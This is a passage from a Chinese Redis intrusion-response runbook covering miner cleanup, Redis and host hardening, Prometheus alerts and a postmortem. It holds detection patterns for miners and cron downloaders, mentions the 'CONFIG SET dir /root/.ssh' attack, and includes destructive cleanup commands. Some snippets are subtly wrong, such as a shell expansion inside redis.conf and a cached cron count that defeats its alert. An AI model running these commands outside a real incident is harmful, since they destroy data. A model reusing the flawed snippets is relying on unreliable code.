/etc/ld.so.preload 被改 必须重装系统
有内核模块被加载(lsmod 出现不明) 必须重装系统
发现 id_rsa 私钥泄露 重装本机 + 通知所有同私钥机器
多台机器同时被入侵 整体重装,统一加固

本文事件在 /etc/ld.so.preload 中发现了异常路径,最终决策:重装系统。

4.15 T+00:45 — 快速止血后的临时恢复

在不重装的情况下,要让业务先跑起来:

# 1. Redis 加临时密码(不要重启的方式)
redis-cli -h 127.0.0.1 -p 6379 CONFIG SET requirepass "TmpP@ssw0rd!2026"

# 2. 通知业务方更新 Redis 连接配置
# 如果是 Spring Boot,改 spring.redis.password
# 如果是 Go 改 redis.Options.Password

# 3. 关闭 bind
redis-cli -h 127.0.0.1 -p 6379 -a "TmpP@ssw0rd!2026" CONFIG SET bind "127.0.0.1"
# 注意:改 bind 可能要重启 Redis 才生效

# 4. 临时停服(如果需要)
redis-cli -h 127.0.0.1 -p 6379 -a "TmpP@ssw0rd!2026" SHUTDOWN NOSAVE

风险提醒:SHUTDOWN NOSAVE 会丢弃所有内存数据,生产环境慎用。但在被入侵的情况下,业务数据的恢复优先级低于“切断攻击者继续访问”。


5 清理步骤

5.1 进程清理总览

# 1. 找出所有可疑进程
ps auxf | grep -E '(kdevtmpfsi|xmrig|minerd|miner|/tmp/.*/.*)'

# 2. 抓 dump
gcore <PID>

# 3. 暂停 + 杀
kill -STOP <PID>
sleep 1
kill -9 <PID>

# 4. 验证
ps auxf | grep -E '(kdevtmpfsi|xmrig|minerd|miner)'

5.2 crontab 清理

# 备份后清空
crontab -l > /tmp/crontab.bak
crontab -r

# 检查 /etc/cron.* 目录
find /etc/cron* -type f -exec grep -lE '(curl|wget|bash -c)' {} \;

5.3 启动项清理

# 1. systemd
find /etc/systemd/system /usr/lib/systemd/system -name "*.service" -mtime -30

# 2. rc.local
echo "" > /etc/rc.local  # 或注释掉里面的内容

# 3. rc.d
ls -la /etc/rc.d/rc3.d/

5.4 SSH 密钥清理

# 清理 authorized_keys
for h in $(cut -f6 -d: /etc/passwd); do
if [ -f $h/.ssh/authorized_keys ]; then
    cp $h/.ssh/authorized_keys $h/.ssh/authorized_keys.bak.$(date +%s)
echo "" > $h/.ssh/authorized_keys
fi
done

5.5 临时文件清理

# 清空 /tmp(注意:会清掉正常用户的临时文件)
find /tmp -mindepth 1 -maxdepth 1 -mtime +0 -exec rm -rf {} \;
# 或者只清可疑
rm -rf /tmp/.x /tmp/.cache /tmp/.* 2>/dev/null

# 清空 /dev/shm
rm -rf /dev/shm/*

# 取消 chattr 锁定
chattr -ia /var/spool/cron/root 2>/dev/null

5.6 重装 Redis

# 1. 备份当前 redis 数据(以防万一)
cp -a /var/lib/redis /opt/ir/.../redis_data.bak

# 2. 停服
systemctl stop redis

# 3. 重新生成配置(用干净的 redis.conf)
cp /etc/redis/redis.conf /etc/redis/redis.conf.bak
# 重新写一份(见 6.1 加固配置)

# 4. 启动
systemctl start redis

5.7 重装系统(最彻底的方式)

# 1. 业务全部迁走
# 2. 备份关键数据
# 3. 通过云控制台“重置系统盘”
# 4. 重新部署 Redis
# 5. 验证业务

6 加固方案

6.1 Redis 加固配置

/etc/redis/redis.conf 的关键配置:

# 1. 监听地址:只监听内网
bind 127.0.0.1 10.20.30.40

# 2. 端口:保持默认或换一个
port 6379

# 3. protected-mode
protected-mode yes

# 4. 密码:必须强密码,建议 20 位以上随机
requirepass $(openssl rand -base64 32)

# 5. 禁用危险命令
rename-command CONFIG ""
rename-command FLUSHDB ""
rename-command FLUSHALL ""
rename-command KEYS ""
rename-command DEBUG ""
rename-command SHUTDOWN "REDIS_SHUTDOWN_SUPER_SECRET"
rename-command SLAVEOF ""
rename-command REPLICAOF ""

# 6. 持久化
appendonly yes
appendfsync everysec
dir /var/lib/redis/
dbfilename dump.rdb

# 7. 最大客户端数
maxclients 10000

# 8. 慢日志
slowlog-log-slower-than 10000
slowlog-max-len 128

# 9. 内存上限
maxmemory 6gb
maxmemory-policy allkeys-lru

# 10. 后台运行
daemonize yes
pidfile /var/run/redis_6379.pid
logfile /var/log/redis/redis.log
loglevel notice

# 11. 安全:禁用一些不安全的备份机制
rdbcompression yes
rdbchecksum yes

注意:上面 rename-command 把命令改成空字符串,注意兼容性——如果有客户端使用这些命令,会直接报错。如果不能改空,可以改成不容易猜到的字符串,如 rename-command CONFIG "C0NFIG_N3W_N4M3"

6.2 Redis ACL(Redis 6+)

# 创建只读用户
redis-cli -h 127.0.0.1 -p 6379 -a "$REDIS_PASS" ACL SETUSER readonly on '>readonly_pass' '~*' '+@read' '+@connection' '+ping' '+info'

# 创建业务用户
redis-cli -h 127.0.0.1 -p 6379 -a "$REDIS_PASS" ACL SETUSER business on '>business_pass' '~app:*' '~session:*' '+@read' '+@write' '+del' '+expire'

# 创建管理员
redis-cli -h 127.0.0.1 -p 6379 -a "$REDIS_PASS" ACL SETUSER admin on '>admin_pass' '~*' '+@all'

# 查看
redis-cli -h 127.0.0.1 -p 6379 -a "$REDIS_PASS" ACL LIST

6.3 系统层加固

6.3.1 SSH 加固

# /etc/ssh/sshd_config
Port 2222                              # 改端口
Protocol 2
PermitRootLogin prohibit-password
PasswordAuthentication no
ChallengeResponseAuthentication no
PubkeyAuthentication yes
AuthorizedKeysFile .ssh/authorized_keys
MaxAuthTries 3
MaxSessions 5
LoginGraceTime 30
AllowUsers ops admin                   # 白名单
AllowGroups ops ssh-users
ClientAliveInterval 300
ClientAliveCountMax 2
UseDNS no                               # 加快登录

6.3.2 用户与权限

# 1. 锁定无用账户
for u in lp sync shutdown halt news uucp operator games gopher; do
  usermod -L $u
done

# 2. 关键目录权限
chmod 700 /root
chmod 700 /root/.ssh
chmod 600 /root/.ssh/authorized_keys
chmod 600 /etc/shadow
chmod 600 /etc/gshadow

# 3. /etc/passwd 完整性
md5sum /etc/passwd /etc/shadow

6.3.3 内核参数

# /etc/sysctl.d/99-security.conf
# 防 SYN flood
net.ipv4.tcp_syncookies = 1
net.ipv4.tcp_max_syn_backlog = 8192

# 防 IP 欺骗
net.ipv4.conf.all.rp_filter = 1
net.ipv4.conf.default.rp_filter = 1

# 不接受 ICMP 重定向
net.ipv4.conf.all.accept_redirects = 0
net.ipv4.conf.default.accept_redirects = 0
net.ipv4.conf.all.secure_redirects = 0
net.ipv4.conf.default.secure_redirects = 0
net.ipv4.conf.all.send_redirects = 0
net.ipv4.conf.default.send_redirects = 0

# 不接受源路由
net.ipv4.conf.all.accept_source_route = 0
net.ipv4.conf.default.accept_source_route = 0

# 记录可疑包
net.ipv4.conf.all.log_martians = 1

# 忽略 ping 请求(可选)
net.ipv4.icmp_echo_ignore_broadcasts = 1

6.3.4 文件锁与完整性

# 1. chattr 锁定关键文件
chattr +i /etc/passwd /etc/shadow /etc/group /etc/gshadow /etc/sudoers
chattr +i /etc/ssh/sshd_config

# 注意:+i 之后文件不能修改,添加用户前需要 chattr -i

# 2. 文件完整性检查(AIDE / Tripwire)
yum install -y aide
aide --init
mv /var/lib/aide/aide.db.new.gz /var/lib/aide/aide.db.gz
# 定期跑
aide --check

6.4 网络层加固

6.4.1 安全组(云厂商)

  • 6379 端口只对内网开放(Source IP = 内网 CIDR)
  • 22 端口只对堡垒机开放
  • 80/443 端口对全公网开放

6.4.2 主机防火墙

# 持久化
firewall-cmd --permanent --remove-port=6379/tcp
firewall-cmd --permanent --add-rich-rule='rule family=ipv4 source address=10.20.0.0/16 port port=6379 protocol=tcp accept'
firewall-cmd --reload

6.4.3 内网访问控制

如果用 VPC,限制 Redis 只能被特定子网访问;如果用 K8s,使用 NetworkPolicy 限制。


7 监控告警

7.1 Redis 自身监控

7.1.1 通过 redis_exporter

redis_exporter 是 Prometheus 官方推荐的 Redis 指标采集器。

# 安装
wget https://github.com/oliver006/redis_exporter/releases/download/v1.58.0/redis_exporter-1.58.0.linux-amd64.tar.gz
tar xzf redis_exporter-1.58.0.linux-amd64.tar.gz
cd redis_exporter-1.58.0.linux-amd64

# 启动
nohup ./redis_exporter \
  --redis.addr=redis://127.0.0.1:6379 \
  --redis.password=$REDIS_PASS \
  --web.listen-address=:9121 \
  > /var/log/redis_exporter.log 2>&1 &

7.1.2 关键指标

指标 含义 告警阈值(基线)
redis_connected_clients 当前连接数 突增 50%
redis_used_memory_bytes 已用内存 接近 maxmemory 80%
redis_used_memory_rss_bytes RSS 占用 超过物理内存 70%
redis_commands_total 命令总数 突增 200%
redis_commands_duration_seconds_total 命令耗时总和 平均 > 10ms
redis_keyspace_hits_total 命中数 命中率 < 80%
redis_keyspace_misses_total 未命中数 突增
redis_rejected_connections_total 拒绝连接数 > 0
redis_up 实例存活 == 0
redis_master_link_up 主从链路状态(0/1) == 0
redis_db_keys 各 db 的 key 数 突增
redis_slowlog_length 慢日志条数 > 100

7.1.3 关键告警规则

groups:
- name: redis_alerts
  rules:
  - alert: RedisDown
    expr: redis_up == 0
    for: 1m
    labels:
      severity: critical
    annotations:
      summary: "Redis instance down"
      description: "Redis {{ $labels.instance }} is down for 1 minute"

  - alert: RedisConnectedClientsHigh
    expr: redis_connected_clients > 5000
    for: 5m
    labels:
      severity: warning
    annotations:
      summary: "Redis connected clients too high"

  - alert: RedisMemoryHigh
    expr: redis_used_memory_bytes / redis_max_memory_bytes > 0.85
    for: 5m
    labels:
      severity: warning

  - alert: RedisSlowlogTooMany
    expr: redis_slowlog_length > 100
    for: 10m
    labels:
      severity: warning

  - alert: RedisRejectedConnections
    expr: increase(redis_rejected_connections_total[5m]) > 10
    for: 1m
    labels:
      severity: critical
    annotations:
      summary: "Redis is rejecting connections"

阈值说明:上面数字是举例,生产环境要结合业务基线调整。比如有的业务连接数基线 2000,告警阈值要相应调高。

7.2 主机层监控

groups:
- name: host_alerts
  rules:
  - alert: HostCPUHigh
    expr: 100 - (avg by(instance) (irate(node_cpu_seconds_total{mode="idle"}[5m])) * 100) > 90
    for: 5m
    labels:
      severity: warning

  - alert: HostCPUCritical
    expr: 100 - (avg by(instance) (irate(node_cpu_seconds_total{mode="idle"}[5m])) * 100) > 98
    for: 3m
    labels:
      severity: critical

  - alert: HostOutboundTrafficHigh
    expr: rate(node_network_transmit_bytes_total{device!="lo"}[5m]) > 100 * 1024 * 1024
    for: 5m
    labels:
      severity: warning

  # 以下 3 条规则依赖 node_exporter textfile collector
  # 配合 push_cron_count.sh / push_file_mtime.sh 等脚本(见 14.5 附录)
  # 不同 exporter 指标名可能不同,下面写法为示例,以实际采集的指标为准
  - alert: HostNewCrontab
    expr: |
      changes(cron_total_count[10m]) > 0
    for: 0m
    labels:
      severity: critical
    annotations:
      summary: "Crontab changed on {{ $labels.instance }}"
      description: "Possible unauthorized crontab modification"

  - alert: HostNewSudoers
    expr: |
      changes(file_mtime_seconds{path="/etc/sudoers"}[10m]) > 0
    for: 0m
    labels:
      severity: critical

  - alert: HostNewAuthorizedKeys
    expr: |
      changes(file_mtime_seconds{path=~"/.+/.ssh/authorized_keys"}[10m]) > 0
    for: 0m
    labels:
      severity: critical

7.3 安全告警

  • WAF 检测到对 6379 的扫描
  • 堡垒机检测到异常登录(地理位置异常、登录时间异常)
  • IDS 检测到 CONFIG SET dir /root/.ssh 类 payload

8 复盘

8.1 根因

本文事件的根因清单:

  1. Redis bind 0.0.0.0:监听公网,暴露在互联网
  2. 未设密码:requirepass 为空
  3. protected-mode no:Redis 自身的保护机制被显式关闭
  4. 未使用 ACL:Redis 6+ 提供了 ACL,但未使用
  5. 安全组对公网开放 6379:云厂商层面的安全组被错误配置
  6. 缺少告警:Redis 连接数、CPU、出口流量没有及时告警
  7. 缺少应急手册:运维在收到告警后第 1 分钟不知道该做什么

8.2 时间线复盘

时间 事件 关键决策 改进点
02:14 Redis 被外部连接 攻击者利用未授权 应在 11 个月前发现并修复
02:15 CONFIG SET dir /root/.ssh 攻击者写 SSH 公钥 应禁用 CONFIG 命令
02:17 攻击者 SSH 登录 进入系统 应禁用密码登录
02:30 启动挖矿进程 大量 CPU 占用 应有 CPU 告警
02:47 监控告警 运维收到告警 告警延迟 17 分钟
02:47 应急响应启动 进入 4.1 流程 流程比没有强

8.3 改进措施

  • 技术层面

    • 立即将所有 Redis bind 改为内网 IP
    • 全部 Redis 设置强密码
    • 启用 protected-mode
    • 启用 rename-command
    • 启用 ACL(Redis 6+)
    • 启用 maxmemory
    • 启用慢日志
  • 监控层面

    • 添加 Redis 连接数、CPU、内存告警
    • 添加主机 CPU、出口流量告警
    • 添加 crontab 变更告警
    • 添加 authorized_keys 变更告警
  • 流程层面

    • 编写 Redis 部署标准(标准化配置)
    • 编写 Redis 应急响应手册
    • 编写 Redis 加固 checklist
    • 定期演练“Redis 被入侵”剧本
    • 引入合规扫描(如基线检查工具)
  • 管理层面

    • 申请堡垒机统一入口
    • 申请配置中心(Git 管理配置)
    • 申请堡垒机录制所有 SSH 会话
    • 申请变更审计

8.4 教训总结

  • Redis 绝不能监听公网——这条规则可以写进任何新员工培训手册
  • 弱密码或无密码 = 没有密码——任何中间件、数据库都适用
  • 应急响应不要在主机上“修”——能重装就重装,节省的时间远大于重装本身
  • 取证要早——挖矿进程可能 5 分钟就自删,所有现场要先固化
  • 告警要“组合”——单一 CPU 告警可能被误报,CPU + 连接数 + 出口流量三者组合更准

9 常用命令速查

9.1 Redis 排查

# 基础
redis-cli -h 127.0.0.1 -p 6379 PING
redis-cli -h 127.0.0.1 -p 6379 INFO server
redis-cli -h 127.0.0.1 -p 6379 INFO clients
redis-cli -h 127.0.0.1 -p 6379 INFO memory
redis-cli -h 127.0.0.1 -p 6379 INFO stats
redis-cli -h 127.0.0.1 -p 6379 INFO replication
redis-cli -h 127.0.0.1 -p 6379 INFO keyspace
redis-cli -h 127.0.0.1 -p 6379 INFO commandstats

# 配置
redis-cli -h 127.0.0.1 -p 6379 CONFIG GET "*"
redis-cli -h 127.0.0.1 -p 6379 CONFIG GET requirepass
redis-cli -h 127.0.0.1 -p 6379 CONFIG GET bind
redis-cli -h 127.0.0.1 -p 6379 CONFIG GET dir
redis-cli -h 127.0.0.1 -p 6379 CONFIG GET dbfilename
redis-cli -h 127.0.0.1 -p 6379 CONFIG REWRITE   # 写回配置文件

# 客户端
redis-cli -h 127.0.0.1 -p 6379 CLIENT LIST
redis-cli -h 127.0.0.1 -p 6379 CLIENT KILL ADDR <ip:port>
redis-cli -h 127.0.0.1 -p 6379 CLIENT KILL TYPE normal

# 慢日志
redis-cli -h 127.0.0.1 -p 6379 SLOWLOG GET 100
redis-cli -h 127.0.0.1 -p 6379 SLOWLOG LEN
redis-cli -h 127.0.0.1 -p 6379 SLOWLOG RESET

# 内存
redis-cli -h 127.0.0.1 -p 6379 DEBUG OBJECT <key>
redis-cli -h 127.0.0.1 -p 6379 MEMORY USAGE <key>

# 大 key 扫描(生产环境慎用 KEYS)
redis-cli -h 127.0.0.1 -p 6379 --bigkeys
redis-cli -h 127.0.0.1 -p 6379 --memkeys

9.2 主机层

# CPU
top -c
htop
ps -eo pid,ppid,user,pcpu,pmem,start,etime,cmd --sort=-pcpu

# 内存
free -h
cat /proc/meminfo

# 磁盘
df -h
du -sh /tmp /var/tmp /dev/shm
iostat -xz 1 5

# 网络
ss -antp
netstat -antp
iftop -i eth0
nethogs

# 进程
ps auxf
pstree -ap
ls /proc/<pid>/exe -la
ls /proc/<pid>/cwd -la
cat /proc/<pid>/cmdline | xargs -0 echo

# 开机启动
systemctl list-unit-files --state=enabled
ls /etc/rc.d/rc3.d/

# crontab
crontab -l
ls -la /etc/cron*

9.3 网络层

# iptables
iptables -L -n -v
iptables-save
iptables-restore < /tmp/iptables.bak

# nftables
nft list ruleset
nft flush ruleset  # 危险!慎用

# firewall
firewall-cmd --list-all
firewall-cmd --panic-on

# 路由
ip route
ip rule

# DNS
cat /etc/resolv.conf
dig @8.8.8.8 example.com

9.4 取证

# 用户
cat /etc/passwd
cat /etc/shadow
w
who
last
lastb

# 启动
cat /proc/1/cmdline | xargs -0 echo
ls -la /etc/init.d/
ls -la /etc/rc.d/

# 隐藏进程
ls -la /proc/ | grep -E '^[0-9]'

# 内核模块
lsmod
cat /proc/modules

# 加载的动态库
cat /proc/<pid>/maps

# 二进制
file /bin/ps
md5sum /bin/ps

9.5 工具

# chkrootkit
chkrootkit -q

# rkhunter
rkhunter --check

# clamav
yum install -y clamav
freshclam
clamscan -r /tmp /var/tmp /dev/shm

# unhide
unhide proc
unhide sys
unhide brute

# audit
auditctl -w /etc/passwd -p wa -k passwd_changes
ausearch -k passwd_changes

10 配置示例合集

10.1 redis_exporter systemd unit

# /etc/systemd/system/redis_exporter.service
[Unit]
Description=Redis Exporter
After=network.target

[Service]
Type=simple
User=redis_exporter
Group=redis_exporter
Environment="REDIS_ADDR=redis://127.0.0.1:6379"
Environment="REDIS_PASSWORD_FILE=/etc/redis_exporter/.redis_password"
ExecStart=/usr/local/bin/redis_exporter \
  --redis.addr=${REDIS_ADDR} \
  --redis.password-file=${REDIS_PASSWORD_FILE} \
  --web.listen-address=:9121 \
  --web.telemetry-path=/metrics
Restart=always
RestartSec=5

[Install]
WantedBy=multi-user.target

10.2 Prometheus job 配置

scrape_configs:
- job_name: 'redis'
  static_configs:
  - targets:
    - 'redis-prod-01:9121'
    - 'redis-prod-02:9121'
    - 'redis-prod-03:9121'
  scrape_interval: 30s
  scrape_timeout: 10s

10.3 安全组规则(AWS / 阿里云风格)

# 入方向
- protocol: tcp
  port: 22
  source: 10.10.0.0/16 # 堡垒机
  action: accept
- protocol: tcp
  port: 6379
  source: 10.20.0.0/16 # 业务网段
  action: accept
- protocol: tcp
  port: 9100 # node_exporter
  source: 10.20.0.0/16
  action: accept
- protocol: tcp
  port: 9121 # redis_exporter
  source: 10.20.0.0/16
  action: accept
- protocol: -1
  action: drop

# 出方向
- protocol: tcp
  port: 443
  destination: 0.0.0.0/0
  action: accept # 监控、镜像仓库
- protocol: tcp
  port: 53
  destination: 10.20.0.53 # 内网 DNS
  action: accept
- protocol: -1
  action: drop

10.4 Fail2ban

# /etc/fail2ban/jail.local
[redis]
enabled  = true
port     = 6379
filter   = redis
logpath  = /var/log/redis/redis.log
maxretry = 5
bantime  = 3600
findtime = 600

# /etc/fail2ban/filter.d/redis.conf
[Definition]
failregex = ^.*Client.*connected from <HOST>.*denied.*$
ignoreregex =

10.5 iptables 完整脚本(生产环境兜底)

#!/bin/bash
# /root/scripts/firewall_setup.sh
# 用法:./firewall_setup.sh
# 作用:设置 iptables 兜底规则
# 注意:执行前确认能从堡垒机 SSH 进入

set -euo pipefail

LOG=/var/log/firewall_setup.log
echo "$(date +%F_%T) start" >> $LOG

# 1. 备份
iptables-save > /tmp/iptables.bak.$(date +%s)
echo "backup ok" >> $LOG

# 2. 清空自定义规则(保留默认策略)
iptables -F
iptables -X
iptables -t nat -F
iptables -t nat -X
iptables -t mangle -F
iptables -t mangle -X

# 3. 放行 loopback
iptables -A INPUT -i lo -j ACCEPT
iptables -A OUTPUT -o lo -j ACCEPT

# 4. 放行已建立的连接
iptables -A INPUT -m state --state ESTABLISHED,RELATED -j ACCEPT
iptables -A OUTPUT -m state --state ESTABLISHED,RELATED -j ACCEPT

# 5. 放行堡垒机 SSH
iptables -A INPUT -p tcp -s 10.10.0.0/16 --dport 22 -j ACCEPT

# 6. 放行内网 Redis(来自业务网段)
iptables -A INPUT -p tcp -s 10.20.0.0/16 --dport 6379 -j ACCEPT

# 7. 放行监控
iptables -A INPUT -p tcp -s 10.20.0.0/16 --dport 9100 -j ACCEPT
iptables -A INPUT -p tcp -s 10.20.0.0/16 --dport 9121 -j ACCEPT

# 8. 放行 DNS
iptables -A OUTPUT -p udp -d 10.20.0.53 --dport 53 -j ACCEPT
iptables -A OUTPUT -p tcp -d 10.20.0.53 --dport 53 -j ACCEPT

# 9. 放行 NTP
iptables -A OUTPUT -p udp -d 10.20.0.123 --dport 123 -j ACCEPT

# 10. 放行镜像仓库
iptables -A OUTPUT -p tcp -d mirrors.aliyun.com --dport 443 -j ACCEPT

# 11. 放行监控上报
iptables -A OUTPUT -p tcp -d 10.20.0.50 --dport 9090 -j ACCEPT

# 12. 阻断其他入站
iptables -A INPUT -j DROP
iptables -A FORWARD -j DROP

# 13. 阻断其他出站
iptables -A OUTPUT -j DROP

# 14. 持久化
service iptables save 2>/dev/null || iptables-save > /etc/sysconfig/iptables
echo "saved" >> $LOG

# 15. 验证
iptables -L -n -v >> $LOG
echo "done" >> $LOG

11 验证方式

11.1 Redis 加固后的验证

# 1. 验证密码生效
redis-cli -h 127.0.0.1 -p 6379 PING
# 输出:(error) NOAUTH Authentication required.

redis-cli -h 127.0.0.1 -p 6379 -a "$REDIS_PASS" PING
# 输出:PONG

# 2. 验证 protected-mode
redis-cli -h 10.20.30.40 -p 6379 PING
# 正确输出(内网 IP 在 bind 中):PONG
redis-cli -h <公网 IP> -p 6379 PING
# 正确输出:连接被拒

# 3. 验证 rename-command
redis-cli -h 127.0.0.1 -p 6379 -a "$REDIS_PASS" KEYS '*'
# 正确输出:(error) ERR unknown command 'KEYS'

# 4. 验证 ACL
redis-cli -h 127.0.0.1 -p 6379 -a "$REDIS_PASS" ACL WHOAMI
# 输出:default

# 5. 验证 maxmemory
redis-cli -h 127.0.0.1 -p 6379 -a "$REDIS_PASS" INFO memory | grep maxmemory

11.2 主机层验证

# 1. SSH 密码登录被禁
ssh -o PubkeyAuthentication=no -o PreferredAuthentications=password user@host
# 正确输出:Permission denied (publickey)

# 2. crontab 完整性
crontab -l | grep -v '^#' | grep -v '^$'
# 正确输出:只有自己设置的定时任务

# 3. authorized_keys 完整性
cat /root/.ssh/authorized_keys
# 正确输出:只有自己的公钥

# 4. /etc/ld.so.preload
cat /etc/ld.so.preload
# 正确输出:空或注释

# 5. 文件完整性
md5sum /bin/ps /bin/netstat /usr/bin/lsof
# 与备份对比一致

11.3 网络层验证

# 1. 公网 6379 不可达
nmap -p 6379 <公网 IP>
# 正确输出:filtered 或 closed

# 2. 内网 6379 可达
redis-cli -h 10.20.30.40 -p 6379 PING
# 正确输出:PONG

# 3. 防火墙规则
iptables -L -n -v | head -50

11.4 监控告警验证

  • 触发一次 CPU > 90% 的告警演练
  • 触发一次连接数 > 5000 的告警演练
  • 触发一次 crontab 变更的告警
  • 触发一次 authorized_keys 变更的告警

12 风险提醒清单

下面这些操作都属于“破坏性操作”或“高风险操作”,必须按本文要求处理:

操作 风险 缓解
iptables -F SSH 断开 在 INPUT 链默认 ACCEPT 时执行;或先放行 SSH
iptables -P INPUT DROP SSH 断开 确认规则已放行 SSH
redis-cli SHUTDOWN 内存数据丢失 SHUTDOWN NOSAVE 仅在被入侵时使用;正常情况 SHUTDOWN 会持久化
redis-cli FLUSHDB / FLUSHALL 业务数据丢失 演练使用;生产环境必须经过审批
kill -9 redis-server 同上 优先用 redis-cli SHUTDOWN
crontab -r 自定义任务丢失 备份原 crontab
rm -rf /tmp/.x 取证数据丢失 提前 tar 打包
systemctl disable <service> 影响正常服务 systemctl list-unit-files 确认
chattr +i /etc/passwd 无法添加用户 临时操作前先 -i 解除
userdel 用户被误删 二次确认
chmod 600 /etc/shadow 误操作 root 锁死 提前确认
systemctl restart sshd 当前 SSH 会话可能断 优先 systemctl reload sshd
云控制台“重置系统盘” 数据全部丢失 提前完整备份;新部署预案
修改 bind / requirepass 后没 CONFIG REWRITE 重启后失效 改完 CONFIG REWRITE 或修改 redis.conf

13 回滚方案

13.1 配置回滚

# 1. Redis 配置回滚
cp /etc/redis/redis.conf.bak /etc/redis/redis.conf
systemctl restart redis

# 2. SSH 配置回滚
cp /etc/ssh/sshd_config.bak /etc/ssh/sshd_config
systemctl reload sshd

# 3. iptables 规则回滚
iptables-restore < /tmp/iptables.bak.<timestamp>

13.2 数据回滚

# 1. Redis 数据回滚
# 从 RDB 恢复
systemctl stop redis
cp /var/lib/redis/dump.rdb /var/lib/redis/dump.rdb.bak
# 把备份的 RDB 放回
cp /opt/backup/redis/dump.<date>.rdb /var/lib/redis/dump.rdb
chown redis:redis /var/lib/redis/dump.rdb
systemctl start redis

# 2. 从 AOF 恢复
systemctl stop redis
rm -f /var/lib/redis/dump.rdb
cp /opt/backup/redis/appendonly.<date>.aof /var/lib/redis/appendonly.aof
chown redis:redis /var/lib/redis/appendonly.aof
systemctl start redis

注意:Redis 从备份恢复会丢失最近一次备份到现在的数据。要结合 binlog/AOF 时间点恢复。

13.3 系统回滚(云厂商重置系统盘)

# 1. 数据备份(再次确认)
rsync -a /var/lib/redis /opt/backup/redis_emergency/

# 2. 通过云控制台“重置系统盘”
# 3. 重新部署 Redis
# 4. 恢复数据

14 附录

14.1 Redis 安全检查 Checklist

[ ] bind 是否限制为内网 IP
[ ] protected-mode 是否为 yes
[ ] requirepass 是否为强密码(20+ 位)
[ ] 是否使用 ACL(Redis 6+)
[ ] 危险命令是否被 rename
[ ] 是否启用 appendonly
[ ] 是否设置 maxmemory 和 maxmemory-policy
[ ] 慢日志是否开启
[ ] 安全组是否对公网关闭 6379
[ ] 是否有定期的 KEY 命名规范扫描
[ ] 是否有定期的 ACL 审计
[ ] 是否有 redis_exporter 监控
[ ] 告警阈值是否合理
[ ] 应急响应手册是否到位
[ ] 是否做过 Redis 入侵演练

14.2 取证清单

[ ] 系统时间
[ ] 系统版本
[ ] 进程快照
[ ] 网络快照
[ ] 用户和登录快照
[ ] crontab 快照
[ ] SSH 配置和密钥
[ ] 启动项
[ ] Redis 配置和命令
[ ] 临时目录
[ ] 关键日志
[ ] 内核模块
[ ] 文件完整性(md5)
[ ] 内存快照(可选)
[ ] 磁盘镜像(可选)

14.3 应急剧本(剧本库)

剧本:Redis CPU 100%

1. 收到 CPU 告警
2. 登机,top -c
3. 找出 CPU 占用最高进程
4. /proc/<pid>/exe 看可执行文件
5. 如果是 kdevtmpfsi / xmrig / minerd 等,进入“挖矿应急”
6. 如果是 redis-server 本身,进入“Redis 性能应急”
7. 隔离主机
8. 取证
9. 清理或重装
10. 复盘

剧本:Redis 突然返回 nil

1. 收到业务告警
2. redis-cli PING
3. 验证密码
4. KEYS '*' 抽样
5. INFO memory
6. INFO replication
7. 看是否被 FLUSHDB
8. 看是否被 KEYS * 阻塞
9. 看是否 OOM
10. 决策:恢复 / 扩容 / 限流

剧本:Redis 不可用

1. 收到 RedisDown 告警
2. redis-cli PING
3. 验证进程存活
4. 看磁盘空间
5. 看系统日志
6. 重启尝试
7. 失败则启用备份
8. SLA 通知业务
9. 复盘

14.4 后续建设清单

  • 短期(1 周内)

    • 全量 Redis 加密码、改 bind
    • 全量 Redis 启用 ACL
    • 修补安全组
    • 修补监控告警
  • 中期(1 个月内)

    • 引入配置中心(Git 管理)
    • 引入堡垒机
    • 引入配置合规扫描
    • 制定 Redis 部署标准
  • 长期(3 个月内)

    • 全量系统审计
    • 定期应急演练
    • 安全培训
    • 建立蓝军 / 红军机制

14.5 主机文件变更采集脚本(textfile collector)

Prometheus 官方 node_exporter 并不直接暴露任意文件 mtime。要做“crontab 变更告警”或“authorized_keys 变更告警”,标准做法是用 textfile collector 配合 cron 跑的自定义脚本。

14.5.1 推送 crontab 总数

/etc/cron.d/push_cron_count.sh

#!/bin/bash
# 每 1 分钟跑一次,把每个用户的 crontab 总条数推到 textfile
# 依赖:crontab 命令;node_exporter 启用 --collector.textfile.directory

set -euo pipefail
OUT_DIR=/var/lib/node_exporter/textfile_collector
TMPF=$(mktemp ${OUT_DIR}/cron_count.XXXXXX)
trap "rm -f $TMPF" EXIT

{
echo "# HELP cron_total_count Total cron lines per user (incl. comments and blanks)"
echo "# TYPE cron_total_count gauge"
  total=0
while IFS=: read -r user _ uid _ _ home shell; do
    [ "$uid" -lt 1000 ] && continue # 跳系统用户
    [ -z "$shell" ] && continue
case "$shell" in */nologin|*/false) continue ;; esac
if [ -f "$home/.crontab_count" ]; then
      n=$(cat "$home/.crontab_count" 2>/dev/null || echo 0)
else
      n=$(crontab -l -u "$user" 2>/dev/null | wc -l)
echo "$n" > "$home/.crontab_count"
fi
echo "cron_total_count{user=\"$user\"} $n"
    total=$((total + n))
done < /etc/passwd
echo "cron_total_count{user=\"__all__\"} $total"
} > "$TMPF"

mv "$TMPF" "${OUT_DIR}/cron_count.prom"

14.5.2 推送关键文件 mtime

/etc/cron.d/push_file_mtime.sh

#!/bin/bash
# 每 1 分钟跑一次,把关键文件的 mtime 推到 textfile

set -euo pipefail
OUT_DIR=/var/lib/node_exporter/textfile_collector
TMPF=$(mktemp ${OUT_DIR}/file_mtime.XXXXXX)
trap "rm -f $TMPF" EXIT

{
echo "# HELP file_mtime_seconds File mtime (epoch seconds) of security-sensitive files"
echo "# TYPE file_mtime_seconds gauge"
for f in /etc/passwd /etc/shadow /etc/sudoers /etc/ssh/sshd_config; do
if [ -e "$f" ]; then
      mtime=$(stat -c %Y "$f")
echo "file_mtime_seconds{path=\"$f\"} $mtime"
fi
done
# 所有用户的 authorized_keys
while IFS=: read -r user _ uid _ _ home _; do
    [ "$uid" -lt 1000 ] && continue
    f="$home/.ssh/authorized_keys"
if [ -f "$f" ]; then
      mtime=$(stat -c %Y "$f")
echo "file_mtime_seconds{path=\"$f\"} $mtime"
fi
done < /etc/passwd
} > "$TMPF"

mv "$TMPF" "${OUT_DIR}/file_mtime.prom"

14.5.3 node_exporter 启动参数

# /etc/default/prometheus-node-exporter
# 加上:
ARGS="--collector.textfile.directory=/var/lib/node_exporter/textfile_collector"
mkdir -p /var/lib/node_exporter/textfile_collector
chown -R node_exporter:node_exporter /var/lib/node_exporter/textfile_collector
systemctl restart prometheus-node-exporter

14.5.4 crontab 注册

chmod +x /etc/cron.d/push_cron_count.sh /etc/cron.d/push_file_mtime.sh
cat > /etc/cron.d/push_exporter_metrics << 'EOF'
* * * * * root /etc/cron.d/push_cron_count.sh >/dev/null 2>&1
